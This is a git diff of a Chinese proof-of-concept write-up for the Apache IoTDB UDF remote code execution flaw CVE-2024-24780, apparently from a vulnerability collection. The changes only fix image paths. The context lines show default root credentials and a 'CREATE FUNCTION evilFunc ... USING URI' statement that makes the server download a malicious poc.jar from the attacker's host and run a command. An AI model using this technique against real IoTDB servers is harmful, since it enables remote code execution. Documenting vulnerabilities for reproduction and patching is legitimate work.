diff --git a/数据库漏洞/Apache IoTDB UDF 远程代码执行漏洞 CVE-2024-24780.md b/数据库漏洞/Apache IoTDB UDF 远程代码执行漏洞 CVE-2024-24780.md index da3b3ca..7bf81a8 100644 --- a/数据库漏洞/Apache IoTDB UDF 远程代码执行漏洞 CVE-2024-24780.md +++ b/数据库漏洞/Apache IoTDB UDF 远程代码执行漏洞 CVE-2024-24780.md @@ -52,7 +52,7 @@ docker-compose up -d docker ps ``` -![](Public/Awesome-POC/数据库漏洞/images/Apache%20IoTDB%20UDF%20远程代码执行漏洞%20CVE-2024-24780/image-20250519141116383.png) +![](images/Apache%20IoTDB%20UDF%20远程代码执行漏洞%20CVE-2024-24780/image-20250519141116383.png) ### 安装 Cli 命令行 @@ -70,7 +70,7 @@ cd apache-iotdb-1.2.0-cli-bin/ sbin/start-cli.sh -h your-ip -p 6667 -u root -pw root ``` -![](Public/Awesome-POC/数据库漏洞/images/Apache%20IoTDB%20UDF%20远程代码执行漏洞%20CVE-2024-24780/image-20250519141502540.png) +![](images/Apache%20IoTDB%20UDF%20远程代码执行漏洞%20CVE-2024-24780/image-20250519141502540.png) ## 漏洞复现 @@ -96,11 +96,11 @@ public class EvilClass { CREATE FUNCTION evilFunc AS 'org.example.EvilClass' USING URI 'http:///poc.jar'; ``` -![](Public/Awesome-POC/数据库漏洞/images/Apache%20IoTDB%20UDF%20远程代码执行漏洞%20CVE-2024-24780/image-20250519142349138.png) +![](images/Apache%20IoTDB%20UDF%20远程代码执行漏洞%20CVE-2024-24780/image-20250519142349138.png) IoTDB 会从我们的 vps 下载 `poc.jar`,加载恶意类并执行命令 。可以看到,`touch /tmp/awesome_poc` 已经执行成功: -![](Public/Awesome-POC/数据库漏洞/images/Apache%20IoTDB%20UDF%20远程代码执行漏洞%20CVE-2024-24780/image-20250519142545665.png) +![](images/Apache%20IoTDB%20UDF%20远程代码执行漏洞%20CVE-2024-24780/image-20250519142545665.png) ## 漏洞修复